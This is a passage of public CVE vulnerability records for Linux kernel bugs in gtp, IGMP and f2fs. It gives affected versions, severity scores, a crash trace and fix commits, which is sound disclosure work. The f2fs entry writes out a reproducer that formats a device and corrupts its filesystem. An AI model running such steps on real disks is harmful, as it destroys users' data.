              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21865",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:25:29.794279Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-787",
                "description": "CWE-787 Out-of-bounds Write",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:26:37.011Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:21.987Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:13:17.362Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7f86fb07db65a470d0c11f79da551bd9466357dc",
              "status": "affected",
              "version": "c986380c1d5274c4d5e935addc807d6791cc23eb",
              "versionType": "git"
            },
            {
              "lessThan": "33eb925c0c26e86ca540a08254806512bf911f22",
              "status": "affected",
              "version": "5f1678346109ff3a6d229d33437fcba3cce9209d",
              "versionType": "git"
            },
            {
              "lessThan": "cb15bb1bde0ba97cbbed9508e45210dcafec3657",
              "status": "affected",
              "version": "036f8d814a2cd11ee8ef62b8f3e7ce5dec0ee4f3",
              "versionType": "git"
            },
            {
              "lessThan": "b70fa591b066d52b141fc430ffdee35b6cc87a66",
              "status": "affected",
              "version": "efec287cbac92ac6ee8312a89221854760e13b34",
              "versionType": "git"
            },
            {
              "lessThan": "9d03e7e37187ae140e716377599493987fb20c5b",
              "status": "affected",
              "version": "bb11f992f5a475bc68ef959f17a55306f0328495",
              "versionType": "git"
            },
            {
              "lessThan": "ff81b14010362f6188ca26fec22ff05e4da45595",
              "status": "affected",
              "version": "86f73d4ab2f27deeff22ba9336ad103d94f12ac7",
              "versionType": "git"
            },
            {
              "lessThan": "37e7644b961600ef0beb01d3970c3034a62913af",
              "status": "affected",
              "version": "eb28fd76c0a08a47b470677c6cef9dd1c60e92d1",
              "versionType": "git"
            },
            {
              "lessThan": "4ccacf86491d33d2486b62d4d44864d7101b299d",
              "status": "affected",
              "version": "eb28fd76c0a08a47b470677c6cef9dd1c60e92d1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.13"
            },
            {
              "lessThan": "6.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.4.290",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.234",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.177",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "6.1.127",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "6.6.74",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "6.12.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "6.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngtp: Suppress list corruption splat in gtp_net_exit_batch_rtnl().\n\nBrad Spengler reported the list_del() corruption splat in\ngtp_net_exit_batch_rtnl(). [0]\n\nCommit eb28fd76c0a0 (\"gtp: Destroy device along with udp socket\u0027s netns\ndismantle.\") added the for_each_netdev() loop in gtp_net_exit_batch_rtnl()\nto destroy devices in each netns as done in geneve and ip tunnels.\n\nHowever, this could trigger -\u003edellink() twice for the same device during\n-\u003eexit_batch_rtnl().\n\nSay we have two netns A \u0026 B and gtp device B that resides in netns B but\nwhose UDP socket is in netns A.\n\n  1. cleanup_net() processes netns A and then B.\n\n  2. gtp_net_exit_batch_rtnl() finds the device B while iterating\n     netns A\u0027s gn-\u003egtp_dev_list and calls -\u003edellink().\n\n  [ device B is not yet unlinked from netns B\n    as unregister_netdevice_many() has not been called. ]\n\n  3. gtp_net_exit_batch_rtnl() finds the device B while iterating\n     netns B\u0027s for_each_netdev() and calls -\u003edellink().\n\ngtp_dellink() cleans up the device\u0027s hash table, unlinks the dev from\ngn-\u003egtp_dev_list, and calls unregister_netdevice_queue().\n\nBasically, calling gtp_dellink() multiple times is fine unless\nCONFIG_DEBUG_LIST is enabled.\n\nLet\u0027s remove for_each_netdev() in gtp_net_exit_batch_rtnl() and\ndelegate the destruction to default_device_exit_batch() as done\nin bareudp.\n\n[0]:\nlist_del corruption, ffff8880aaa62c00-\u003enext (autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc00/0x1000 [slab object]) is LIST_POISON1 (ffffffffffffff02) (prev is 0xffffffffffffff04)\nkernel BUG at lib/list_debug.c:58!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN\nCPU: 1 UID: 0 PID: 1804 Comm: kworker/u8:7 Tainted: G                T   6.12.13-grsec-full-20250211091339 #1\nTainted: [T]=RANDSTRUCT\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nWorkqueue: netns cleanup_net\nRIP: 0010:[\u003cffffffff84947381\u003e] __list_del_entry_valid_or_report+0x141/0x200 lib/list_debug.c:58\nCode: c2 76 91 31 c0 e8 9f b1 f7 fc 0f 0b 4d 89 f0 48 c7 c1 02 ff ff ff 48 89 ea 48 89 ee 48 c7 c7 e0 c2 76 91 31 c0 e8 7f b1 f7 fc \u003c0f\u003e 0b 4d 89 e8 48 c7 c1 04 ff ff ff 48 89 ea 48 89 ee 48 c7 c7 60\nRSP: 0018:fffffe8040b4fbd0 EFLAGS: 00010283\nRAX: 00000000000000cc RBX: dffffc0000000000 RCX: ffffffff818c4054\nRDX: ffffffff84947381 RSI: ffffffff818d1512 RDI: 0000000000000000\nRBP: ffff8880aaa62c00 R08: 0000000000000001 R09: fffffbd008169f32\nR10: fffffe8040b4f997 R11: 0000000000000001 R12: a1988d84f24943e4\nR13: ffffffffffffff02 R14: ffffffffffffff04 R15: ffff8880aaa62c08\nRBX: kasan shadow of 0x0\nRCX: __wake_up_klogd.part.0+0x74/0xe0 kernel/printk/printk.c:4554\nRDX: __list_del_entry_valid_or_report+0x141/0x200 lib/list_debug.c:58\nRSI: vprintk+0x72/0x100 kernel/printk/printk_safe.c:71\nRBP: autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc00/0x1000 [slab object]\nRSP: process kstack fffffe8040b4fbd0+0x7bd0/0x8000 [kworker/u8:7+netns 1804 ]\nR09: kasan shadow of process kstack fffffe8040b4f990+0x7990/0x8000 [kworker/u8:7+netns 1804 ]\nR10: process kstack fffffe8040b4f997+0x7997/0x8000 [kworker/u8:7+netns 1804 ]\nR15: autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc08/0x1000 [slab object]\nFS:  0000000000000000(0000) GS:ffff888116000000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000748f5372c000 CR3: 0000000015408000 CR4: 00000000003406f0 shadow CR4: 00000000003406f0\nStack:\n 0000000000000000 ffffffff8a0c35e7 ffffffff8a0c3603 ffff8880aaa62c00\n ffff8880aaa62c00 0000000000000004 ffff88811145311c 0000000000000005\n 0000000000000001 ffff8880aaa62000 fffffe8040b4fd40 ffffffff8a0c360d\nCall Trace:\n \u003cTASK\u003e\n [\u003cffffffff8a0c360d\u003e] __list_del_entry_valid include/linux/list.h:131 [inline] fffffe8040b4fc28\n [\u003cffffffff8a0c360d\u003e] __list_del_entry include/linux/list.h:248 [inline] fffffe8040b4fc28\n [\u003cffffffff8a0c360d\u003e] list_del include/linux/list.h:262 [inl\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:08:00.850Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7f86fb07db65a470d0c11f79da551bd9466357dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/33eb925c0c26e86ca540a08254806512bf911f22"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb15bb1bde0ba97cbbed9508e45210dcafec3657"
        },
        {
          "url": "https://git.kernel.org/stable/c/b70fa591b066d52b141fc430ffdee35b6cc87a66"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d03e7e37187ae140e716377599493987fb20c5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff81b14010362f6188ca26fec22ff05e4da45595"
        },
        {
          "url": "https://git.kernel.org/stable/c/37e7644b961600ef0beb01d3970c3034a62913af"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ccacf86491d33d2486b62d4d44864d7101b299d"
        }
      ],
      "title": "gtp: Suppress list corruption splat in gtp_net_exit_batch_rtnl().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21865",
    "datePublished": "2025-03-12T09:42:21.901Z",
    "dateReserved": "2024-12-29T08:45:45.781Z",
    "dateUpdated": "2026-05-12T12:13:17.362Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6932 (GCVE-0-2023-6932)

Vulnerability from cvelistv5 – Published: 2023-12-19 14:09 – Updated: 2026-05-12 10:52

Title

Use-after-free in Linux kernel's ipv4: igmp component

Summary

A use-after-free vulnerability in the Linux kernel's ipv4: igmp component can be exploited to achieve local privilege escalation. A race condition can be exploited to cause a timer be mistakenly registered on a RCU read locked object which is freed by another thread. We recommend upgrading past commit e2b706c691905fe78468c361aaabc719d0a496f1.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Google

References

5 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…	patch
https://kernel.dance/e2b706c691905fe78468c361aaab…
https://lists.debian.org/debian-lts-announce/2024…
https://lists.debian.org/debian-lts-announce/2024…
http://packetstormsecurity.com/files/177029/Kerne…

Impacted products

1 product

Vendor	Product	Version
Linux	Kernel	Affected: 2.6.12 , < 6.7 (custom)

Date Public ?

2023-11-24 15:25

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:42:08.680Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=e2b706c691905fe78468c361aaabc719d0a496f1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://kernel.dance/e2b706c691905fe78468c361aaabc719d0a496f1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/177029/Kernel-Live-Patch-Security-Notice-LSN-0100-1.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-6932",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T04:00:14.201619Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-25T16:34:33.461Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:52:13.229Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.7",
              "status": "affected",
              "version": "2.6.12",
              "versionType": "custom"
            }
          ]
        }
      ],
      "datePublic": "2023-11-24T15:25:56.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s ipv4: igmp component can be exploited to achieve local privilege escalation.\n\nA race condition can be exploited to cause a timer be mistakenly registered on a RCU read locked object which is freed by another thread.\n\nWe recommend upgrading past commit e2b706c691905fe78468c361aaabc719d0a496f1."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-02-08T16:06:01.000Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=e2b706c691905fe78468c361aaabc719d0a496f1"
        },
        {
          "url": "https://kernel.dance/e2b706c691905fe78468c361aaabc719d0a496f1"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html"
        },
        {
          "url": "http://packetstormsecurity.com/files/177029/Kernel-Live-Patch-Security-Notice-LSN-0100-1.html"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Use-after-free in Linux kernel\u0027s ipv4: igmp component",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-6932",
    "datePublished": "2023-12-19T14:09:15.662Z",
    "dateReserved": "2023-12-18T20:14:26.281Z",
    "dateUpdated": "2026-05-12T10:52:13.229Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-33847 (GCVE-0-2024-33847)

Vulnerability from cvelistv5 – Published: 2024-06-24 13:56 – Updated: 2026-05-12 11:51

Title

f2fs: compress: don't allow unaligned truncation on released compress inode

Summary

In the Linux kernel, the following vulnerability has been resolved: f2fs: compress: don't allow unaligned truncation on released compress inode f2fs image may be corrupted after below testcase: - mkfs.f2fs -O extra_attr,compression -f /dev/vdb - mount /dev/vdb /mnt/f2fs - touch /mnt/f2fs/file - f2fs_io setflags compression /mnt/f2fs/file - dd if=/dev/zero of=/mnt/f2fs/file bs=4k count=4 - f2fs_io release_cblocks /mnt/f2fs/file - truncate -s 8192 /mnt/f2fs/file - umount /mnt/f2fs - fsck.f2fs /dev/vdb [ASSERT] (fsck_chk_inode_blk:1256) --> ino: 0x5 has i_blocks: 0x00000002, but has 0x3 blocks [FSCK] valid_block_count matching with CP [Fail] [0x4, 0x5] [FSCK] other corrupted bugs [Fail] The reason is: partial truncation assume compressed inode has reserved blocks, after partial truncation, valid block count may change w/o .i_blocks and .total_valid_block_count update, result in corruption. This patch only allow cluster size aligned truncation on released compress inode for fixing.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/b8962cf98595d1ec6…
https://git.kernel.org/stable/c/8acae047215024d1a…
https://git.kernel.org/stable/c/3ccf5210dc941a7aa…
https://git.kernel.org/stable/c/9f9341064a9b5246a…
https://git.kernel.org/stable/c/5268241b41b1c5d0a…
https://git.kernel.org/stable/c/29ed2b5dd521ce7c5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8e1651cd667cd6779db28314844d88b6de8312a3 , < b8962cf98595d1ec62f40f23667de830567ec8bc (git) Affected: c61404153eb683da9c35aad133131554861ed561 , < 8acae047215024d1ac499b3c8337ef1b952f160b (git) Affected: c61404153eb683da9c35aad133131554861ed561 , < 3ccf5210dc941a7aa0180596ac021568be4d35ec (git) Affected: c61404153eb683da9c35aad133131554861ed561 , < 9f9341064a9b5246a32a7fe56b9f80c6f7f3c62d (git) Affected: c61404153eb683da9c35aad133131554861ed561 , < 5268241b41b1c5d0acca75e9b97d4fd719251c8c (git) Affected: c61404153eb683da9c35aad133131554861ed561 , < 29ed2b5dd521ce7c5d8466cd70bf0cc9d07afeee (git)
Linux	Linux	Affected: 5.14 Unaffected: 0 , < 5.14 (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-33847",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-25T13:51:44.928910Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-25T13:51:56.043Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T02:42:58.909Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b8962cf98595d1ec62f40f23667de830567ec8bc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8acae047215024d1ac499b3c8337ef1b952f160b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3ccf5210dc941a7aa0180596ac021568be4d35ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9f9341064a9b5246a32a7fe56b9f80c6f7f3c62d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5268241b41b1c5d0acca75e9b97d4fd719251c8c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/29ed2b5dd521ce7c5d8466cd70bf0cc9d07afeee"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:56.112Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b8962cf98595d1ec62f40f23667de830567ec8bc",
              "status": "affected",
              "version": "8e1651cd667cd6779db28314844d88b6de8312a3",
              "versionType": "git"
            },
            {
              "lessThan": "8acae047215024d1ac499b3c8337ef1b952f160b",
              "status": "affected",
              "version": "c61404153eb683da9c35aad133131554861ed561",
              "versionType": "git"
            },
            {
              "lessThan": "3ccf5210dc941a7aa0180596ac021568be4d35ec",
              "status": "affected",
              "version": "c61404153eb683da9c35aad133131554861ed561",
              "versionType": "git"
            },
            {
              "lessThan": "9f9341064a9b5246a32a7fe56b9f80c6f7f3c62d",
              "status": "affected",
              "version": "c61404153eb683da9c35aad133131554861ed561",
              "versionType": "git"
            },
            {
              "lessThan": "5268241b41b1c5d0acca75e9b97d4fd719251c8c",
              "status": "affected",
              "version": "c61404153eb683da9c35aad133131554861ed561",
              "versionType": "git"
            },
            {
              "lessThan": "29ed2b5dd521ce7c5d8466cd70bf0cc9d07afeee",
              "status": "affected",
              "version": "c61404153eb683da9c35aad133131554861ed561",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/file.c"
          ],
